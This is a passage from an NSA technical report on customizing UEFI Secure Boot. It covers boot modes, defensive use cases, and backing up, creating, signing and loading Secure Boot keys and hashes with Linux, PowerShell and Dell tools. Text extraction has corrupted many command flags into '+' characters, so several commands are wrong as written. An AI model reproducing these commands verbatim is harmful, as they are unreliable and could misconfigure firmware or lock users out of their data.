Module (CSM) modes. +Setup Mode may be an option while a system does not have a PK installed. Setup mode +typically allows for KEK, DB, and DBX values to be readily manipulated as the system +owner +claims ownership + of the Secure Boot implementation. Establishing a PK will drop +the system out of Setup Mode and into User/Custom Mode at the next boot. +Audit Mode may be an option to gather debugging information about the results of Secure +Boot checks. Administrators can see what parts of the boot process were validated, what +the validation results were, and identify problems with boot components and policies to +tailor implementation to their mission security needs. +Deployed Mode may be an option which enforces the current Secure Boot configuration +without the distinction of Standard vs User/Custom configuration. Values loaded into +Secure Boot policy are enforced as is. The system does not distinguish between the +factory default Standard values and User/Custom values. +Platform firmware performs boot signature checking up to the bootloader. Software components +that participate in the boot process, such as the bootloader, kernel, initial file system, drivers, +kernel modules, policies, and more, must continue the signature checking scheme in software. In +Microsoft Windows, signature checking is performed by the Windows Boot Manager and Windows +kernel. In Red Hat Enterprise Linux (RHEL), signature checking is performed by Shim, GRUB, +and the Linux kernel. Red Hat utilizes a MOK stored in a Microsoft-signed build of Shim to validate +GRUB, the kernel, drivers, and other binaries. +2.1 Platform-Specific Caveats +The extent to which Secure Boot validates the boot process varies based on platform and boot +configuration. In general, most enterprise UEFI implementations provide the following options: +Thorough or Full Boot provides the maximum amount of protection by using Secure Boot +throughout the boot process. Integrity, signature, and hash checks are performed. All +authorized firmware binaries are executed. Alerts may be generated for hardware +changes, chassis intrusions, and component states. The Thorough Boot option is typically +the default behavior on servers, storage arrays, and blades. Thorough Boot prioritizes +security over speed. Boot time takes the longest in Thorough Boot. +Fast Boot or Minimal Boot minimizes boot time by skipping numerous checks, which +may or may not include Secure Boot checks. Boot speed is prioritized over some security +features and/or additional features and peripheral support at boot time. Malware like LoJax +can slip by on some systems (Schlej 2018). Fast Boot is normally found enabled on +consumer devices. When Fast Boot is a configurable toggle, disabling Fast Boot typically +results in Thorough Boot. +Note: Fast/Minimal boot may behave differently depending on system vendor, and +also vary across a single vendor +s product line. A business-class desktop or server +may perform all Secure Boot checks in Fast/Minimal while a consumer-oriented +tablet or notebook from the same vendor skips checks. +Automatic Boot attempts to detect when changes have occurred to the early stages of +U/OO/168873-20 | PP-23-0464 | Mar 2023 Ver. 1.2 +National Security Agency | Cybersecurity Technical Report +UEFI Secure Boot Customization +UEFI boot. Automatic Boot invokes Fast/Minimal Boot when no changes are detected. +Thorough/Full Boot is invoked once after each significant change is detected. Changing +firmware, changing hardware, bootloader updates, or toggling options in UEFI +configuration may be sufficient to trigger Thorough/Full Mode on the next boot. +Always prefer the thorough or full boot option when unsure of the vendor implementation. +Fast, minimal, and automatic may miss changes that could compromise system integrity + again, +depending on vendor implementation. +Some vendors also allow the use of Compatibility Support Module (CSM) Legacy Mode if Secure +Boot fails. Such systems fall back to Legacy Mode when a Secure Boot check fails. Disable CSM +to prevent legacy fallback mode from bypassing Secure Boot protections. Warnings and +tooltips calling for CSM to stay enabled in UEFI configuration should be ignored unless a +compatibility issue arises. +3 Use Cases For Secure Boot +3.1 Anti-Malware +Secure Boot shares similarities with allow listing technologies. Rather than looking for malware +via a long deny list of known-bad signatures, Secure Boot works from a short allow list of trusted +certificates and hashes. Any binary that fails validation is prevented from running at boot-time. +Consider the case of a bootloader that ignores Secure Boot +s software component and performs +no signature checks. Such a bootloader could load any operating system, a compromised kernel, +compromised modules, and other forms of malware. A bootloader debug policy with such +characteristics accidentally leaked from Microsoft in 2016 (Mendelsohn 2016). The debug +bootloader featured a signature trusted by the Microsoft Windows Production CA certificate stored +in the DB of most machines. +Revoking the certificate by moving it to the DBX would invalidate a large number of otherwise +trustworthy boot executables. System vendors chose to leverage the DBX by adding a SHA-256 +hash of the debug bootloader. Because most machines have a Microsoft or system vendor KEK, +a KEK-signed DBX append command via an update package was sufficient to deny list the debug +bootloader. +UEFI implementations normally rely on a set of boot options to determine which devices and +partitions get utilized. The options are checked sequentially until an option provides the +opportunity to move beyond the BDS phase. Failure of a boot option does not stop boot when +other options are available. A machine could fail Secure Boot validation on the debug Microsoft +bootloader, but then succeed on the normal, non-debug bootloader or a PXE boot. +As another malware example, consider the case of a malicious UEFI module such as LoJax. +LoJax is a malicious modification of the anti-theft solutions known as Computrace and LoJack. +Secure Boot will not be able to validate LoJax against any DBX, DB, or KEK meaning that use of +LoJax during boot should be prevented. However, many workstation systems ship configured in +Fast Boot mode which skips checks on the PEI, DXE, and BDS phases of UEFI boot. Use +Thorough Mode to force early-boot Secure Boot checks. Most servers ship with Thorough Mode +enabled by default. Always check UEFI configuration upon receipt of a new system. +Figure 3 displays how the anti-malware properties of Secure Boot would affect LoJax. Assuming +the system boots in Thorough Mode, LoJax would be denied execution at boot time while all other +UEFI services operate normally. Modules and drivers in DXE can execute in parallel. Systems +that pause and display a Secure Boot validation warning or error may need to be configured to +U/OO/168873-20 | PP-23-0464 | Mar 2023 Ver. 1.2 +National Security Agency | Cybersecurity Technical Report +UEFI Secure Boot Customization +continue boot on errors/warnings or use a shorter message timeout. +UEFI Selective Module/Driver Blocking +PEI Phase +DXE Phase +Storage +RAID +LoJax +Audio +Shell +BDS Phase +Figure 3 - Secure Boot in Thorough Boot mode denying execution to Lojax malware and a Shell app. Boot +continues, although a warning or prompt about Secure Boot policy-violating content may be shown to the user. +3.2 Insider Threat Mitigation +Organizations may block access to USB ports, restrict network use, and monitor user activity to +combat insider threats. Secure Boot can help by closing a threat vector many organizations may +not plan for + malicious physical access. Few restrictions and monitoring capabilities can cope +with an insider that has physical access to a machine. The insider can boot to removable media +or alter system hardware components. +Organizations can leverage Secure Boot to mitigate insider threat by removing the Microsoft UEFI +Marketplace CA DB certificate and adding individual hardware components on a machine, such +as the storage controller and network interfaces, to the DB allow list as SHA-256 hashes. Such +an implementation allows Secure Boot, at boot time, to trust only the hardware that should be +present on a machine rather than external devices. Insiders are unable to boot to external media +or to unexpected network interfaces. +Additionally, removal of the Microsoft UEFI Marketplace CA DB certificate distrusts all versions of +Linux. Shim, the Linux pre-bootloader, is signed by Microsoft. Organizations can sign or hash +their own Shim to tailor boot to a specific build of Linux. Tailoring requires the organization to +produce its own DB key and certificate. Insiders wouldn +t be able to boot to Linux live images on +removable or network media. +Note: Modification of the DB or DBX does not require modification of the KEK or PK. Partial +customization is supported on most systems. +Finally, organizations can remove the Microsoft Windows Production CA DB certificate to distrust +all versions of Windows and Microsoft bootloaders. Individual trusted bootloaders and kernel +builds of Windows can be hashed and placed in the DB. Booting to older or unapproved versions +of Windows would be impossible. +Customizing Secure Boot to counter insider threat requires protection of the UEFI +administrative credentials. If the malicious actor can access the UEFI configuration, then the +customizations can be reverted or disabled. Protect the UEFI administrative credentials and +consider placing a unique credential on each endpoint. +U/OO/168873-20 | PP-23-0464 | Mar 2023 Ver. 1.2 +National Security Agency | Cybersecurity Technical Report +UEFI Secure Boot Customization +3.3 Data-at-Rest +Secure Boot can interact with Microsoft BitLocker and Linux Unified Key Subsystem (LUKS) Full +Disk Encryption (FDE) solutions. Secure Boot configuration data is recorded to the TPM at boot +time. BitLocker and LUKS (via extension) can use the TPM when wrapping keys for storage. +Secure Boot data stores must be in the trusted state to unlock the storage volume decryption key. +Tampering will change UEFI and/or Secure Boot values which would lead to failure to decrypt +when unlocking the storage key. +Updates to Secure Boot or UEFI firmware require adjustment of BitLocker and LUKS TPM values. +Many Windows UEFI update mechanisms automatically suspend BitLocker or prompt the user +before applying the update. LUKS may have a similar mechanism depending on Linux distribution +and selected options. BitLocker and LUKS protection can be enabled again on the next boot. +Failure to disable BitLocker or LUKS prior to a firmware or Secure Boot update may require use +of the system recovery key at the next boot or can cause permanent data loss if the recovery key +cannot be found. +4 Customization +Modifying Secure Boot may render a system unbootable. The system is not +bricked +permanently damaged. If a system enters the unbootable state try + in order + rebooting, +temporarily disabling Secure Boot, reverting to the default Secure Boot configuration, or +performing a firmware reset. +4.1 Dependencies +Dell PowerEdge R640 with iDRAC9, Dell OptiPlex 9020, and Dell Precision 7710 were used while +testing commands in the customization section. Instructions relevant to Windows were tested on +Windows 10 version 1809. Instructions relevant to Linux were tested on Red Hat Enterprise Linux +(RHEL) 7.6. +The following dependencies are required for all devices intended to receive Secure Boot +customization: +A device with support for UEFI boot and Secure Boot customization. Not all devices allow +Secure Boot customization (e.g. Microsoft Surface devices). +An operating system that supports UEFI boot. The OS does not need to support Secure +Boot. Most products that advertise Secure Boot support include Microsoft signatures for +boot binaries. Secure Boot customization does not require Microsoft signatures. Operating +systems and hypervisors that are compatible with UEFI boot include: +Microsoft Windows 10, 8.1, 8, or 7 +Red Hat Enterprise Linux (RHEL) 8, 7, or 6 +Hypervisors that supports UEFI boot for their kernels such as VMware ESXI 7.0, +6.7, or 6.5 or Microsoft Hyper-V 6.0 or 5.0 +UEFI emulation for VMs is not required. If supported, then VMs may +support Secure Boot customization if and only if the hypervisor provides +the customization option. +The following dependencies are required on a development or testing machine: +(Linux and/or Windows) Openssl 0.9.8 +U/OO/168873-20 | PP-23-0464 | Mar 2023 Ver. 1.2 +National Security Agency | Cybersecurity Technical Report +UEFI Secure Boot Customization +(Windows only) PowerShell 3.0 or newer +(Linux only) SBSignTools 0.9 or newer from distribution repository or +https://git.kernel.org/scm/linux/kernel/git/jejb/sbsigntools.git +(Linux only) PESign 0.9 or newer from distribution repository or +https://github.com/rhboot/pesign +(Linux only) EfiTools 1.8 or newer from distribution repository or +https://git.kernel.org/pub/scm/linux/kernel/git/jejb/efitools.git +(Linux only) Shim bootloader 1.0.4 or newer from https://github.com/rhboot/shim +Keys, certificates, hashes, and other data can be generated on one machine to be shared on +other devices. User endpoints should not generate Secure Boot content. User endpoints should +also not store any private keys relating to Secure Boot values. +The Shim bootloader included with Linux distributions normally features an OS vendor MOK +provided at compile time. Deletions and additions to the MOK database may be ignored by Shim +instances included with distributions depending on compilation options. Compile a custom Shim +from source to disable the inclusion of an OS vendor certificate in the MOK. Both Shim and GRUB +are capable of reading UEFI Secure Boot values so an OS vendor MOK may not be necessary +during full customization. A vendor MOK from Red Hat, for example, will validate many RHEL, +CentOS, and Fedora images and allow them to boot with more boot flexibility than desired in +some use cases. The following sections assume MOK is not utilized. +4.2 Backup Factory Values +Figure 4 displays the distribution of certificates and hashes in a Dell system at the time of +publication. The Dell systems used to produce this report feature a PK certificate, Microsoft KEK +certificate, two Microsoft DB certificates, and several DBX SHA-256 hashes. Newer systems add +a second KEK and some hashes to the DB. Individual models vary. Key distribution from other +vendors will be similar. DB and DBX may change over time via updates. Additional SHA-256 +hashes in the DB and DBX are likely and have been omitted to save space. Backing up factory +values requires saving values in each of the Secure Boot value stores (PK, KEK, DB, and DBX). +U/OO/168873-20 | PP-23-0464 | Mar 2023 Ver. 1.2 +National Security Agency | Cybersecurity Technical Report +UEFI Secure Boot Customization +Potential Secure Boot Vendor Values +Certificate +Dell +Certificate +Dell +Certificate +Microsoft +Certificate +Microsoft +Production +Certificate +Microsoft +Third-party +Hash +Onboard NIC +Hash +Onboard +RAID +Hash +Evil +Bootlooader +Hash +Superfish +Figure 4 + Abbreviated distribution of certificates and hashes in one of the author +s Dell systems. +4.2.1 Backup Secure Boot Values +Linux Terminal +Linux provides multiple solutions for reading UEFI Secure Boot values. Two tools are commonly +available: efivar and efi-readvar (part of the efi-tools package). Both applications can output +Secure Boot values, but only efi-readvar can export data to EFI Signature List (ESL) files. Each +ESL can contain multiple entries. For example, the db.old.esl may contain multiple certificates +and multiple SHA-256 hashes in the same ESL file. Use the following commands to backup +factory values: +efi-readvar +v PK -o PK.old.esl +efi-readvar +v KEK +o KEK.old.esl +efi-readvar +v db +o db.old.esl +efi-readvar +v dbx +o dbx.old.esl +Break individual certificates and hashes out into discrete files. The following commands will result +in DER-format certificates and SHA-256 hashes. Certificate file extensions of DER are equivalent +to CER and may not be recognized by OS utilities (renaming extensions may be helpful). Hash +file extensions of HASH are binary blobs equivalent to HSH used by many UEFI implementations. +The HASH and HSH extensions are likely not recognized by OS utilities. +sig-list-to-certs PK.old.esl PK +sig-list-to-certs KEK.old.esl KEK +sig-list-to-certs db.old.esl db +sig-list-to-certs dbx.old.esl dbx +Unfortunately, hash files do not contain meta information used to derive meaning. Hashes are +presented as binary data with no file name, purpose, or timestamp associated with them. Consult +the system vendor to determine the purpose of a hash or search for the value via the Internet. +Windows PowerShell +Backup the existing Secure Boot values to EFI Signature Lists (ESL) via PowerShell. Each list +can be later restored by Set-SecureBootUEFI if needed. +Get-SecureBootUEFI +Name PK +OutputFilePath PK.old.esl +Get-SecureBootUEFI +Name KEK +OutputFilePath KEK.old.esl +U/OO/168873-20 | PP-23-0464 | Mar 2023 Ver. 1.2 +National Security Agency | Cybersecurity Technical Report +UEFI Secure Boot Customization +Get-SecureBootUEFI +Name db +OutputFilePath db.old.esl +Get-SecureBootUEFI +Name dbx +OutputFilePath dbx.old.esl +There is no built-in way to process ESL files to separate individual certificates and hashes. +External utilities, such as sig-list-to-certs from efitools, can be used to separate the certificates +and hashes should more than one exist in each file. Certificates in the ESL files are DER encoded. +See section 4.2.2 for information about ESL file anatomy to enable a manual separation of +certificates and hashes. +UEFI Configuration +Some UEFI configuration tools feature a Secure Boot key management menu. Image 1 displays +an example implementation. The option to select PK, KEK, DB, or DBX is usually available next +to a "save to file" or "export" option. Save each value store to an external USB drive or to a +memorable place within the system +s storage drive if offered. Some utilities can only save backup +files to the EFI directory on storage drives. Backups may have the .bin extension or no extension +at all. However, the format will be an EFI Signature List (ESL) detailed in the section 4.2.2. +First, select a data +store. +Second, save the contents to a file. +Repeat for each type of data store. +Image 1 - Dell OptiPlex 7050 workstation UEFI configuration screenshot showing default Secure Boot policy export. +Keytool +Keytool is an EFI utility application that can be booted like a bootloader or kernel. Use the "boot +to file" or "one shot boot menu" or "add boot option" capabilities of most UEFI implementations to +add keytool.efi as a bootable target. Bcdedit can be used to add keytool.efi from within Windows, +and efibootmgr can be used from the Linux terminal (Keytool must be in the EFI boot directory). +Once Keytool has loaded, use the "save keys" option to automatically write ESL files for each +U/OO/168873-20 | PP-23-0464 | Mar 2023 Ver. 1.2 +National Security Agency | Cybersecurity Technical Report +UEFI Secure Boot Customization +data store. The files will be PK.esl, KEK.esl, db.esl, dbx.esl, and MokList.esl. The files will be +stored together in the same path as Keytool. +efibootmgr +L "KeyTool" +l "\EFI\redhat\keytool.efi" +bcdedit /copy {bootmgr} /d "KeyTool" +bcdedit /set {} path \EFI\utils\keytool.efi +Dell RACADM +Vendor-specific, remote scripting solutions can be leveraged to interact with Secure Boot. A wide +variety of platforms and solutions exist. Dell iDRAC 9 and RACADM have been chosen as an +example. Equivalents likely exist for servers from other vendors. +To back up the existing Secure Boot values via RACADM, first establish a secure remote +connection. Use the following command to take inventory of all configured Secure Boot values. +racadm bioscert view +Each certificate will have a corresponding thumbprint value. Each hash will have a corresponding +hash value. Cycle the -t flag value (0 for PK, 1 for KEK, 2 for DB, and 3 for DBX) to access each +Secure Boot data store. Cycle the +k value (0 for certificate thumbprint, 1 for hex hash) to switch +selection mode. Enter a specific thumbprint or hash after the +v to select the individual record. +RACADM does not produce ESLs + only individual records. DER and CER extensions are +interchangeable. HSH files are binary blobs. +racadm bioscert export +t 0 +k 0 +v -f PK.der +racadm bioscert export +t 1 +k 0 +v -f KEK_1.der +racadm bioscert export +t 2 +k 0 +v -f DSK_1.der +racadm bioscert export +t 2 +k 1 +v -f DB_1.hsh +4.2.2 EFI Signature List (ESL) Format +ESL files contain binary data corresponding to the following format: +EFI_SIGNATURE_LIST { +EFI_GUID SignatureType { +UINT32 Data1 +UINT16 Data2 +UINT16 Data3 +UINT8 Data4[8] } +UINT32 SignatureListSize +UINT32 SignatureHeaderSize //usually 00000000 +UINT32 SignatureSize +UINT8 SignatureHeader[SignatureHeaderSize]//usually omitted +EFI_SIGNATURE_DATA Signature[SignatureSize] { +UUID OriginatorUUID +UINT8 Payload[SignatureSize - sizeof(UUID)] } } +Each ESL file contains one or more signature list structures. An individual signature list structure +U/OO/168873-20 | PP-23-0464 | Mar 2023 Ver. 1.2 +National Security Agency | Cybersecurity Technical Report +UEFI Secure Boot Customization +can only contain objects of the certificate type or the hash type. Both certificates and hashes +cannot coexist in the same list structure. However, they may both occupy the same ESL file if +both a certificate signature list structure and a hash signature list structure are defined in +sequence. +Figure 5 provides an example ESL file in hexadecimal representation (ESL files are binary files; +not text). A single hash is present in the example file. The hash was taken from the HelloWorld.efi +binary in efi-tools. +Sample EFI Signature List (ESL) File +Signature Size +EFI_GUID Signature Type +Signature List Size +Signature Header Size +26 16 C4 C1 4C 50 92 40 AC A9 41 F9 36 93 43 28 4C 00 00 00 00 00 00 00 +30 00 00 00 50 AB 5D 60 46 E0 00 43 AB B6 3D D8 10 DD 8B 23 2C 34 E2 79 +D7 2E B8 18 9A E3 31 D7 E2 F3 19 92 14 2B 02 78 F1 27 EE BB 8C 52 66 4B +95 F7 B5 84 +Payload (SHA-256 hash or signature) +Originator UUID +Figure 5 - An ESL file containing a single SHA-256 entry is displayed in hexadecimal format. +Table 1 lists EFI_GUID values for common ESL signature list data objects. Binary files output by +efi-readvar and Get-SecureBootUEFI typically present values in Little Endian format. Source code +and documentation usually display values in the Big Endian format. The UINT32 and UINT16 +values will have a different byte order depending on where and how data is viewed. +EFI_GUID Name +Value +EFI_CERT_X509_GUID +0xA5C059A1, 0x94E4, 0x4AA7, 0x87, 0xB5, 0xAB, 0x15, 0x5C, 0x2B, +0xF0, 0x72 +EFI_CERT_SHA256_GUID +0xC1C41626, 0x504c, 0x4092, 0xAC, 0xA9, 0x41, 0xF9, 0x36, 0x93, +0x43, 0x28 +Table 1 + Common EFI_GUID values for signature list objects +Note that GUIDs and UUIDs are similar. However, EFI GUID structures observe an 8-4-4-16 +format in source code. UUID structures, in contrast, observe an 8-4-4-4-12 format. +4.3 Initial Provisioning of Certificates and Hashes +Initial provisioning of a system requires the creation of three new signing keys. The first will be a +new PK, the second a new KEK, and the third will be placed in the DB. No DBX entry will be used. +This section also requires the creation of a new hash to be placed in the DB. Assume that the DB +signing key will be used to sign bootloaders and kernels while the hash represents a RAID +controller. In a later section, the KEK will be used to authorize a DB change. +U/OO/168873-20 | PP-23-0464 | Mar 2023 Ver. 1.2 +National Security Agency | Cybersecurity Technical Report +UEFI Secure Boot Customization +4.3.1 Create Keys and Certificates +OpenSSL (Linux and Windows) +The CRT file extension is used to denote PEM certificates, and the CER file extension is used to +denote DER-encoded certificates. The PEM and DER extensions are not used because many +UEFI configuration interfaces and OS implementations do not recognize PEM and DER as valid +certificate file extensions. +The following instructions create three keys with self-signed certificates in PEM format. Keys +intended for the DB or DBX are labeled as Database Signing Key (DSK): +openssl req +new -x509 +newkey rsa:2048 +subj "/CN=Custom PK/" +keyout +PK.key +out PK.crt +days 3650 +nodes +sha256 +openssl req +new -x509 +newkey rsa:2048 +subj "/CN=Custom KEK/" +keyout +KEK.key +out KEK.crt +days 3650 +nodes +sha256 +openssl req +new -x509 +newkey rsa:2048 +subj "/CN=Custom DB Signing Key +1/" +keyout dsk1.key +out dsk1.crt +days 3650 +nodes +sha256 +The following instructions create Certificate Signing Requests (CSR) for the KEK and DSK. UEFI +lacks the ability to process certificate chains or check revocation lists so the utility of using CSRs +is limited. A CSR can also be generated for the PK, but is omitted in this example. Generating +CSRs is optional. +openssl req +out KEK.csr +key KEK.key +openssl req +out dsk1.csr +key dsk1.key +The CSRs are signed by a Certificate Authority (CA). The CA signing commands are normally +executed by the CA owner and are provided in case the local organization has its own CA. The +length of a certificate +s validity may vary according to policies. Remember to flag, via CA +configuration, the signed KEK and DSK certificates as able to perform signing actions. +openssl x509 +CA ca.crt +Cakey ca.key +Caserial ca.seq +in KEK.csr +req +days 3650 +out KEK.crt +openssl x509 +CA ca.crt +Cakey ca.key +Caserial ca.seq +in dsk1.csr +req +days 3650 +out dsk1.crt +The following instructions convert PEM certificates into DER format. Most UEFI +implementations require DER format certificates when loading through the UEFI configuration +interface (may also be referred to as F2 BIOS configuration). +openssl x509 +outform der +in PK.crt +out PK.cer +openssl x509 +outform der +in KEK.crt +out KEK.cer +openssl x509 +outform der +in dsk1.crt +out dsk1.cer +Windows PowerShell +Windows machines have alternative options to OpenSSL. Built-in utilities, provided by Microsoft, +can be leveraged instead of open source solutions. However, most UEFI implementations prefer +cross-platform implementations that may not accept keys, certificates, and signatures created by +Microsoft utilities. Also, not all OpenSSL features are duplicated by Microsoft utilities. +To create new keys and certificates: +U/OO/168873-20 | PP-23-0464 | Mar 2023 Ver. 1.2 +National Security Agency | Cybersecurity Technical Report +UEFI Secure Boot Customization +makecert +n "CN=Custom PK" +a sha256 +sv PK.pvk PK.cer +makecert +n "CN=Custom KEK" +a sha256 +sv KEK.pvk KEK.cer +makecert +n "CN=Custom DSK1" +a sha256 +sv DSK1.pvk DSK1.cer +To convert the keys from PVK to PFX format for use with Microsoft +s signing tool: +pvk2pfx +pvk DSK1.pvk +spc PK.cer +pfx PK.pfx +pvk2pfx +pvk DSK1.pvk +spc KEK.cer +pfx KEK.pfx +pvk2pfx +pvk DSK1.pvk +spc DSK1.cer +pfx DSK1.pfx +4.3.2 Sign Binaries +Linux Terminal +A tool named pesign can provide information about signatures contained in a binary. Use the +following command to list signatures. The file shimx64.efi is used as an example: +pesign -S -i=shimx64.efi +Pesign can also be used to remove signatures. Most UEFI implementations only read one/the +first signature in a binary. Remove or overwrite existing signatures before signing. Use the +following command to remove all signatures or add the -u option to specify a signature: +pesign -r -i=shimx64.efi -o=shimx64.efi +A tool named sbsign or sbsigntool can be downloaded for use on Linux. SBSign can sign a variety +of EFI files + most importantly bootloaders and kernels + for use with customized Secure Boot. +SBSign can be used to sign content for Linux, Windows, hypervisors, and more as long as binaries +follow EFI specifications. +The following example command signs the shimx64.efi bootloader. The signed file will be output +as shimx64.efi.signed which may need to be renamed because some UEFI implementations +ignore bootable files that do not end in .efi. Sign-in-place does not function at the time of +publication. Note that Shim is originally signed with a Microsoft UEFI Marketplace key +signature that should be removed with pesign prior to signing with sbsign if and only if the +Microsoft UEFI certificates have been removed from Secure Boot. Make a backup copy of binaries +that have been signed by an external source in case reverting to a factory configuration is +necessary. +sbsign --key dsk1.key --cert dsk1.crt shimx64.efi +Remember to sign the pre-bootloader (Shim), bootloader (GRUB), and kernel at a minimum. Files +are named differently based on distribution and version. +Windows PowerShell +Some versions of signtool do not automatically overwrite signatures. To remove an existing +signature from an EFI binary (such as Shim): +signtool remove /s shimx64.efi +To sign an EFI binary (such as Shim) using the PFX key: +signtool sign /f DSK1.pfx /fd sha256 shimx64.efi +Remember that the Windows bootloader and kernel are already signed by Microsoft. A copy of +Shim supplied from a leading Linux distribution, such as Red Hat Enterprise Linux, also carries a +U/OO/168873-20 | PP-23-0464 | Mar 2023 Ver. 1.2 +National Security Agency | Cybersecurity Technical Report +UEFI Secure Boot Customization +Microsoft signature. Do not delete or remember to append Microsoft +s DB keys back into the +Secure Boot DB to enable use of the Microsoft signing chain. Also append the Microsoft KEK to +the Secure Boot KEK list to enable automatic additions to Secure Boot +s DB via Windows Update. +Remember to include DBX entries intended to revoke select Microsoft signatures too. +4.3.3 Calculate and Capture Hashes +Hashes used by Secure Boot must be in the SHA-256 format. There are multiple ways to +represent hashes: binary BIN or HSH files, hexadecimal TXT files, and binary ESL files. UEFI +configuration utilities typically use binary files with the HSH extension. Keytool and command line +utilities use ESL. +HelloWorld.efi is used for the following examples. DB allow list hashes should normally be +reserved for content that cannot be signed or cannot be altered from the vendor-provided state +(e.g. storage array controller firmware or a hypervisor binary that already has a vendor signature). +DBX deny list hashes should normally be reserved to remove trust from signed binaries without +revoking the corresponding certificate/key (e.g. previously signed bootloader that is vulnerable to +recent exploits). Applying a signature and creating a DB hash for the same binary is redundant +and unnecessary. +Some systems are capable of generating hashes of their storage controllers as well as network +interfaces and other components. Some vendors provide Secure Boot hashes of expansion +devices via their websites or upon request. End users are usually not permitted to sign their own +firmware images for expansion devices thus necessitating hash capture and loading to the DB. +Linux Terminal +To create a text hexadecimal, a binary hash, and an ESL file: +hash-to-efi-sig-list helloworld.efi helloworld.esl | cut +f 3 > +shimx64.txt +tail +c 32 helloworld.esl > helloworld.hsh +The above commands create individual hash files. TXT indicates a hexadecimal hash file while +HSH represents a binary hash file. The above commands also produce an ESL file with a single +hash. Multiple hashes can be compiled into a single ESL file, although this example only +incorporates one hash. Processing multiple EFI files at once will necessitate changes to the cut +and tail commands. ESL files can be signed to become AUTH files. See section 4.3.1. +Windows PowerShell +To create a text hexadecimal hash: +$hashString = Get-AppLockerFileInformation helloworld.efi | select +ExpandProperty hash | select +ExpandProperty HashDataString +$hashString.Trim( +) > helloworld.txt +To create a binary hash: +$hashString = get-filehash +algorithm SHA256 helloworld.efi | select +ExpandProperty hash +$hashBytes = [byte[]]::new($hashString.length / 2) +For($i=0; $i +lt $hashString.length; $i+=2) { $hashBytes[$i/2] = +[convert]::ToByte($hashString.Substring($i, 2), 16) } +U/OO/168873-20 | PP-23-0464 | Mar 2023 Ver. 1.2 +National Security Agency | Cybersecurity Technical Report +UEFI Secure Boot Customization +$hashBytes | set-content helloworld.hsh +encoding byte +The above commands create individual hash files + TXT format for hexadecimal characters and +HSH for binary. Some loading methods may require the use of individual hashes. Hashes can +also be consolidated into a single ESL file which can be signed to become an AUTH file. Creating +an ESL file via PowerShell is a manual process due to the lack of an available Windows utility. +An additional 44 byte header must be added to the HSH to create an ESL. See section 4.2.2 for +details. +UEFI Configuration +Some UEFI configuration interfaces allow the capture of system hardware hashes. Most servers + and systems that are placed in thorough boot (non-fast boot) mode + audit the hashes or +signatures of system hardware resources in addition to software such as Shim, GRUB, and the +Windows bootloader. Hardware resources typically audited at boot time include network +interfaces, storage controllers, video cards, and storage devices. Hashes representing system +hardware may be preloaded into the DB by the system vendor, provided via UEFI configuration, +listed in a system manifest, listed online, or provided upon customer request. +Some vendors consider boot hashes proprietary information. Be sure to indicate to the vendor +that SHA-256 hashes of component firmware for use with UEFI Secure Boot customization are +desired. Hashes of UEFI firmware (e.g. SEC and PEI phases) are not necessary. Image 2 displays +the UEFI Configuration hash capture mechanism of a Dell PowerEdge R740. Each hardware +component can have a SHA-256 hash written to the boot partition or an external storage device +for importation into a customized Secure Boot policy (configuration usually cannot traverse file +systems beyond the boot partition). Then, the hashes should be loaded into the DB or DBX. +Note: Only Dell servers from the 14th generation (and some models from the 13th generation) +provide UEFI configuration GUI and RACADM CLI mechanisms for capturing hashes at the time +of this report +s publication. Image 2 displays a Dell 14th generation server configuration interface +featuring hash capture. Similar options are not found in Dell workstation products nor products +from other vendors as of publication time. +U/OO/168873-20 | PP-23-0464 | Mar 2023 Ver. 1.2 +National Security Agency | Cybersecurity Technical Report +UEFI Secure Boot Customization +Firmware images loaded during DXE +Each hash is exported as a +phase may be required at BDS phase. +SHA-256 .hsh file. Import each +Capture each device +s hash. +.hsh to the Secure Boot +Custom Policy DB allow list. +Image 2 - A Dell PowerEdge R740 server firmware component hash export utility contained within the F2 UEFI +Configuration interface. The custom policy option needed to be enabled to expose hash export functionality. +The hash capture feature was not available on the Optiplex 7050 + shown in Image 1 + at publication time. +4.3.4 Load Keys and Hashes +Linux Terminal +Certificates and hashes must be converted to ESL files before they may be loaded into Secure +Boot. The following commands perform conversion. HelloWorld.efi is used as an example EFI +binary to hash, and multiple EFI binaries can be listed. However, hash-to-efi-sig-list does +not allow hashing of drivers, modules, or non-EFI binaries or input of external/arbitrary hashes +(e.g. OpenSSL generated hash). +cert-to-efi-sig-list +g "$(uuidgen)" PK.crt PK.esl +cert-to-efi-sig-list +g "$(uuidgen)" KEK.crt KEK.esl +U/OO/168873-20 | PP-23-0464 | Mar 2023 Ver. 1.2 +National Security Agency | Cybersecurity Technical Report +UEFI Secure Boot Customization +cert-to-efi-sig-list +g "$(uuidgen)" dsk1.crt dsk1.esl +hash-to-efi-sig-list helloworld.efi hashes.esl +Some tools require the use of signed ESL files + AUTH files + even when Secure Boot is not +enforcing or does not have a PK loaded. Only AUTH files can be used to carry out updates to +Secure Boot +s value stores while Secure Boot is enforcing checks. Changes to the PK and +KEK(s) can only be authorized by a PK. Changes to the DB and DBX can be authorized by a +KEK. Signing the PK with itself is redundant to some implementations, but Keytool will not +recognize ESL extension files as input. The last command simply renames the PK ESL file to an +AUTH file. +sign-efi-sig-list +k PK.key +c PK.crt PK PK.esl PK.auth +sign-efi-sig-list +k PK.key +c PK.crt KEK KEK.esl KEK.auth +sign-efi-sig-list +k KEK.key +c KEK.crt db dsk1.esl dsk1.auth +sign-efi-sig-list +k KEK.key +c KEK.crt db hashes.esl hashes.auth +cp PK.esl PKnoauth.auth +Loading data into Secure Boot must be done with the DB or DBX first, then the KEK, and finally +the PK. Once the PK is loaded, Secure Boot will restrict all four value stores to signed updates +only and may automatically go into enforcing mode. Add the -a flag when loading DSK or KEK +to append values to the existing entries rather than erasing existing values. +efi-updatevar +f dsk1.esl db +efi-updatevar +f hashes.esl db +efi-updatevar +f KEK.esl KEK +efi-updatevar +f PK.esl PK +If the above commands fail, use the AUTH files instead of ESL files. Also try the PKnoauth.auth +file. Use of the append feature may also experience key store size limitations. Some systems do +not support multiple KEK values, and some have tight limits on the size of the DB and DBX. +The above commands are not guaranteed to work due to the number and variety of vendor +implementations. Permission errors are common due to UEFI implementation issues. Try another +method of loading values if permission errors are unavoidable. Notify the OEM of UEFI Secure +Boot flaws if the other methods fail too. +Windows PowerShell +While Secure Boot is in setup mode, PowerShell commands may be able to update Secure Boot +values. The following commands create ESL data objects. +$dbobject = ( Format-SecureBootUEFI +Name db +SignatureOwner 00000000-00000000-0000-000000000000 +Time 2018-01-01-T01:01:01Z +CertificateFilePath +dsk1.crt +FormatWithCert +SignableFilePath db.esl ) +$KEKobject = ( Format-SecureBootUEFI +Name KEK +SignatureOwner 000000000000-0000-0000-000000000000 +Time 